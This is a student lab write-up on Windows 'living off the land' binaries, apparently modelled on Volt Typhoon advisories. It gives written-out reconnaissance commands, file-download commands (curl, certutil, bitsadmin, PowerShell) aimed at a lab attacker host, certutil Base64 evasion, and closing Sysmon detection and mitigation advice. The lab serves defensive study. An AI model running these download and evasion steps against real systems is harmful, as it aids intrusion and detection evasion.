LOLBin Identification and Documentation

Source 1 is here, source 2 is here

Path	Intended Use	How it's abused	MITRE ATT&CK ID	PDF present in
C:\Windows\System32\cmd.exe	The basic command line interpreter for Windows.	Can hide files, download them, upload them, and much much more.	T1564, T1059, T1105, T1048	Referenced in "Discovery" table in source 1, and multiple places in source 2
C:\Windows\System32\certutil.exe	Handles certificates on the device.	Can download files, hide them, and obfuscate them.	T1105, T1564, T1027, T1140	Referenced in "Discovery" table in source 1, and TTPs section in source 2
C:\Windows\System32\dnscmd.exe	Manages DNS servers on the device.	Can be used to find information about the network by finding the DNS servers.	T1016	Referenced in "Discovery" table in source 1, TTPs section in source 2, and enumeration section in source 2
C:\Windows\System32\comsvcs.dll	Used for COM+, a set of tools for Windows developers.	Can be used to create a memory dump for a process.	T1003	Referenced in Table 16 of source 1
C:\Windows\System32\ldifde.exe	Manages LDAP directory objects on the device.	Can download files using metadata from a .ldf file.	T1105	Referenced in TTPs, Command Execution, and Enumeration of the Environment in source 2
C:\Windows\System32\makecab.exe	Makes Microsoft Cabinet (.cab) files. Appears to be an old alternative to ZIP files.	Can hide files, download them, and execute them.	T1564, T1105, T1036	Referenced in "Discovery" table in source 1, and TTPs and Command Exeution in source 2
C:\Windows\System32\net1.exe	Intended to manage networks on the device: can change numerous low-level Windows settings, such as adding or removing accounts and users, starting and stopping services, or managing the domain.	Can be abused to do all of the things listed prior: change numerous low-level Windows settings, such as adding or removing accounts and users, starting and stopping services, or managing the domain.	Numerous, but the ones for the capabilities mentioned are T1136, T1569, and T1098.	Referenced in "Discovery" table, Table 2 and Table 13 in source 1, and TTPs, Enumeration of the Environment, and Additional Commands in source 2
C:\Windows\System32\netsh.exe	Used to configure networking settings from the command line.	Can be used to manage the firewall or discover firewall settings.	T1686, T1518	Referenced in table in source 1, and scripting section in source 2
C:\Windows\System32\ntdsutil.exe	Manages Active Directory on the device.	Can be used to dump NTDS.dit, the active directory database.	T1003	Referenced in table in source 1, and scripting section in source 2
C:\Windows\System32\reg.exe	Command line tool for editing the Windows registry.	Can do just about anything, because most things on Windows are edited through the registry. However, can be specifically used to access base level information about the Windows device.	T1003, T1012	Referenced in "Discovery" table, Command and Control, Table 11, and Table 16 in source 1, and PortProxy, TTPs, Command Execution, in source 2
C:\Windows\System32\wbem\wmic.exe	Now-deprecated interface for Windows Management Instrumentation, used for management data and operations.	Can be used to execute malicious commands and payloads.	T1047	Referenced in Credential Access, "Discovery" table, Collection and Exfiltration, Table 2, and Table 8 in source 1, and Windows Management Instrumentation, Ntds.dit Active Directory Database, Enumeration of the Environment, Additional Commands, TTPs, and Command Execution in source 2
C:\Windows\System32\vssadmin.exe	Used to manage Volume Shadow Copies, which are backups of Windows drives.	Can be used to create large backups of drives and access/exfiltrate those as opposed to working on the same device.	T1006, T1680	Referenced in Credential Access and Table 11 in source 1, and Ntds.dit Active Directory Database in source 2

Questions to Answer

1. Most of the LOLBins in my table appear in both advisories, as Volt Typhoon seems comfortable with their tooling.
2. State-sponsored actors prefer LOLBins over custom malware as custom malware is easier to track, as well as they can occasionally avoid EDR detection.
3. "Living off the Land" was coined by Christopher Campbell and Matt Graeber at DerbyCon3, according to the LOLBAS Project. It's meant to invoke simplicity, and show that the attacker is using Windows native utilities.

Discovery and Reconnaissance LOLBin Execution

net - [T1087.001] Account Discovery: Local Account

net localgroup administrators

The net utility can be used to show groups on the device, such as administrators. The screenshot shows the output of the net localgroup administrators command, which shows all local accounts in the "administrators" group. This information can be used by an attacker to target specific accounts for privilege escalation attacks; or in this case, verify that the account they currently have access to is an administrator.

netsh - [T1518.001] Software Discovery: Security Software Discovery

netsh firewall show all

The netsh utility can be used (intentionally or maliciously) to modify and view firewall rules. The command netsh firewall show all shows all firewall rules on the device (though this command specifically is deprecated). In the output in the screenshot above, there are no rules shown, meaning that there are no active rules on the device.

netstat - [T1049] System Network Connections Discovery

netstat -ano

netstat is a utility that lists active network connections on the device. The -a flag displays all active TCP connections and the TCP and UDP ports the computer is listening on. -n expresses addresses and port numbers numerically, and hides names. -o includes the process IDs for the connections. An example from the output is showing the TCP connection 10.0.17.69:50277 to 104.208.204.88:443 under process 2504. Using netstat allows attackers to find nearby devices, and enumerate the network very passively.

reg - [T1012] Query Registry

reg query hklm\software

reg is the command-line utility for managing the Windows Registry. The reg query hklm\software command shows every sub-registry in the Software hive. This can be used to give a general idea of the software installed on the device, as many applications will make keys in that hive.

systeminfo - [T1082] System Information Discovery

systeminfo

systeminfo shows a vast amount of information about the device. This information can be used to compromise the device using device- or hotfix-specific vulnerabilities. For example, the hotfix KBs are listed in the output, along with the devices name, Windows path, System path, installed memory, boot device path, processor name and model, NIC capabilities, and much more.

tasklist - [T1057] Process Discovery

tasklist /v

tasklist is essentially a command-line version of the Windows Task Manager. It lists all running processes and their PIDs. It can be used to find out what's running on the device, including things like EDRs and RMM agents.

arp - [T1018] Remote System Discovery

arp -a

arp is the command line utility for interacting with the Address Resolution Protocol cache on the device. It can be used to see the mac addresses of local devices, and gain a little bit of network information. It can also tell you a little bit of information about those other devices using their OUIs.

wmic - [T1047] Windows Management Instrumentation

wmic volume list brief

The Windows Management Instrumentation Command-line (or wmic) is the console prompt for the Windows Management Instrumentation. It can list and configure various low-level functions of the Windows operating system. In the screenshot and command above, it's being used to list the drives visible to Windows, including their maximum capacity, remaining space, file system, and drive label. This information can give an attacker a more in-depth profile of a target device.

Questions to Answer

1. arp seemed to reveal the most useful information for lateral movement, as it showed the table of devices that are on the local network segment.
2. Many of these binaries would be suspicious to a defender, but I think the one I'd be most worried about is netsh. Even in a list of commands like net localgroup administrators, netsh stands out by not only being somewhat niche, but I can't think of many people who would use it other than hackers. net has the chance of being found in a Reddit comments section, but netsh feels much more obscure.
3. An attacker might use wmic instead of PowerShell to avoid detection through PowerShell logs. PowerShell has extensive documentation and logging, so many EDRs, defenders, and forensics analysts will check it first (or early) into a search. wmic is also a LOLBin, so it can be used by other processes and applications in a legitimate setting.

Execution, Download, and Defense Evasion LOLBin Execution

curl - [T1105] Ingress Tool Transfer

curl 10.0.17.45:8000/scaryLookingFile.txt -o C:\Temp\scaryLookingFile.txt

curl is the cross-platform default method for downloading a file. It's able to download any file from any URL, and then write the file to anywhere that the user can access. In the screenshot above, the command is curl, the location of the file to download, and then -o directing the utility to save the file to a specific directory. This avoids downloading a file using a web browser directly, and is a fairly recent addition to Windows, so it may be ignored by EDRs.

certutil - [T1105] Ingress Tool Transfer

certutil.exe -urlcache -f http://10.0.17.45:8000/scaryLookingFile.txt C:\Temp\certScaryLookingFile.txt

certutil is the Windows utility for downloading, encoding, and decoding certificate files. It can be used to download any file, as seen above. -urlcache causes the utility to display or delete URL cache entries. -f causes it to force overwrite, adding a path. The parameters after that are the URL to download from, and the path to save the file to. This appears to be a little-known method of downloading a file, so it might not be recognized by detection rules or EDRs.

powershell - [T1105] Ingress Tool Transfer

poewrshell -C "IWR http://10.0.17.45:8000/scaryLookingFile.txt -O C:\Temp\psScaryLookingFile.txt"

PowerShell is a scripting utility for Windows. It contains utilities like Invoke-WebRequest (AKA IWR) that can download files to any path that the user can write to on the drive. powershell -C allows the user to run a PowerShell command without spawning a new command prompt or saving the command to the PowerShell log files. The "IWR ... -O ..." portion runs Invoke-WebRequest with the URL and the output path as parameters.

certutil - [T1027.013] Encrypted/Encoded File

certutil -encode C:\Temp\certScaryLookingFile.txt C:\Temp\certScaryLookingFile.txt64
certutil -decode C:\Temp\certScaryLookingFile.txt64 C:\Temp\certScaryLookingFile.txt64dec

Along with downloading files, certutil can be used to encode and decode files to and from Base64. certutil -decode or -encode are used to direct the utility to encode or decode the file. The following two parameters are the paths to the input and output files. This can be used to avoid file detection or ease of viewing after it's been downloaded.

bitsadmin - [T1105] Ingress Tool Transfer

bitsadmin /create 1
bitsadmin /addfile 1 http://10.0.17.45:8000/scaryLookingFile.txt C:\Temp\bitsScaryLookingFile.txt
bitsadmin /resume 1
bitsadmin /complete 1

bitsadmin is the command-line tool for creating and monitoring Background Intelligent Transfer Service jobs. Background Intelligent Transfer Service is the service used by Windows to download Windows Updates, so it's likely completely ignored by EDRs. Above, the first command creates a job, the second provides it with the input URL and output path, the third starts the job, and the last marks the job as completed.

scp - [T1105] Ingress Tool Transfer

scp [email protected]:/home/champuser/scaryLookingFile.txt C:\Temp\scpScaryLookingFile.txt

scp is the command-line utility for Secure Copy Protocol. It allows someone to download a file from another host using an SSH connection. This is also a somewhat recent addition to Windows, so it may not be detected by firewalls and EDRs: additionally, the file is being encrypted in transit, so a firewall wouldn't be able to view the file anyway.

Questions to answer

1. scp, bitsadmin, and certutil can download a file without triggering most firewall alerts, as they likely aren't accounted for in hardening.
2. regsvr32 can execute code without writing it to the disk by executing a remote .sct script file using the /i option.
3. msbuild can be used to run inline tasks. Inline tasks can be used to compile and run C# or Visual Basic code in a command line, without much oversight form the OS. This shows a deeper problem; the presence of any compiler on a device allows you to compile and run executables locally on that device.

LOLBin Detection and Threat Report

Detection

Above: Installing and setting up Sysmon with the SwiftOnSecurity Sysmon Config.

netstat

arp

curl

wmic

scp

Threat Report

Executive Summary

LOLBins, or "Living off the Land Binaries," are applications that come with an operating system that can be exploited by attackers. The use of these applications by an attacker is scary because they can often be hard to detect. The use of any LOLBin can simply be a genuine use of the application. LOLBins aren't some hypothetical use case either: threat actors (especially nation-state threat groups) often use them to make their own attack patterns harder to detect. Some threat actors that commonly use LOLBins are Volt Typhoon, Cozy Bear, Lazarus Group, OceanLotus, and MuddyWater. This threat report shows some examples of LOLBins being used in an environment.

LOLBin Documentation

Please see the table found in [LOLBin Identification and Documentation](#LOLBin Identification and Documentation).

Execution Evidence

Please see the screenshots and documentation in [Discovery and Reconnaissance LOLBin Execution](#Discovery and Reconnaissance LOLBin Execution) and [Execution, Download, and Defense Evasion LOLBin Execution]](#Execution, Download, and Defense Evasion LOLBin Execution).

Detection Recommendations

Network defenders looking to protect against LOLBins should create logging methods for detecting started processes from the command line. Sysmon, a Windows Sysinternals tool, can be used to do just this. When logging starting processes, Sysmon will include the exact file that was executed, what directory it was executed from, what user account executed it, what terminal session it was run in, and much more. Sysmon can also track clipboard events, file deletions, DNS queries, and many more critical events. A defender might consider setting up Sysmon in a way that makes sense in their environment, and creating alerts off of the use of specific LOLBins, tracked through Sysmon's Event 1: Process creation. Some sample LOLBins to track the execution of are list in LOLBin Identification and Documentation, [Discovery and Reconnaissance LOLBin Execution](#Discovery and Reconnaissance LOLBin Execution), and [Execution, Download, and Defense Evasion LOLBin Execution]](#Execution, Download, and Defense Evasion LOLBin Execution), and a selection of example Sysmon logs can be found in Detection.

Mitigation Recommendations

A defender that's concerned with mitigation more than just detection can look into options restricting user access to terminals, like Command Prompt and Powershell. One method of doing this is a Group Policy Object that disables access to Command Prompt. In environments where users need access to the Command Prompt, a defender can restrict access to specific LOLBins that they're concerned about (as an example; a GPO that prevents the user from running certutil in the Command Prompt). This keeps risk low, so an attacker who has access to a user account won't be able to use LOLBins to continue their attack.

Questions to answer

1. Without the use of Sysmon, any of these LOLBins would be difficult to detect. That being said, out of the LOLBins I've used, I'd argue that curl might be the most difficult. This is because curl is a genuinely commonly used utility; it would produce frequent false positives in many environments. On the opposite end of that spectrum, I would say bitsadmin would be easiest to detect because of it's obscurity. Sure, you wouldn't have an alert set for it most likely, but it would jump out at anyone going through logs based on sheer shock value.
2. Blocking LOLBins can break system functionality because by nature, they're critical to the operating system. A defender has to decide the value of each LOLBin when deciding if it should be blocked. Blocking curl greatly decreases attack surface, but may also cause users (especially developers) to complain. Disabling bitsadmin disables Windows Update. Things would likely hit the fan hard if you disabled reg.
3. I personally would prioritize LOLBins based on recent attacks. For example, I tried to copy as many attack methods from Volt Typhoon as I could in this lab, which gives me a good idea of what to try to prevent (or at least look for). Going forward, I would try to keep up with major attacks that involve LOLBins, and update my logging and GPOs to prevent those kinds of attacks on my environment if possible.